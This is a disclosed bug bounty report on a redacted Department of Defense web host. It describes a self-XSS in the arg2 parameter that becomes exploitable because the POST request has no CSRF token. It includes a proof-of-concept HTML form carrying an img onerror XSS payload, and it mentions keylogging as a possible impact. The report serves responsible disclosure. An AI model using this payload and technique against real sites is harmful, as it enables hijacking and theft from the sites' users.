U.S. Dept Of Defense · Report #485684
Self XSS combine CSRF at https://████████/index.php
Validstatus
mediumseverity
17upvotes
27 May 2020disclosed
How it was found
Hi Team,
I found that https://█████████/index.php has vulnerability by XSS in arg2 parameter. Anyway there is no csrf token tied with the post request. As a result this csrf flaw can make the self-xss as a global reflected xss.
CSRF to XSS PoC
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://██████████/index.php" method="POST"> <input type="hidden" name="█████████" value="1" /> <input type="hidden" name="task" value="azrul_ajax" /> <input type="hidden" name="option" value="community" /> <input type="hidden" name="func" value="register,ajaxCheckEmail" /> <input type="hidden" name="no_html" value="1" /> <input type="hidden" name="arg2" value="["_d_","raygame2222%40af.miljvbi9<img src=a onerror=alert(1)>lk2ko"]" /> <input type="submit" value="Submit request" /> </form> </body> </html>You just need to copy and paste the POC into notepad++ then open it with using firefox or google chrome . After i believe you can see xss window pop up
Impact
i can using this CSRF file send it to people then wide variety of actions, such as performing arbitrary actions on the victim's behalf, and logging their keystrokes.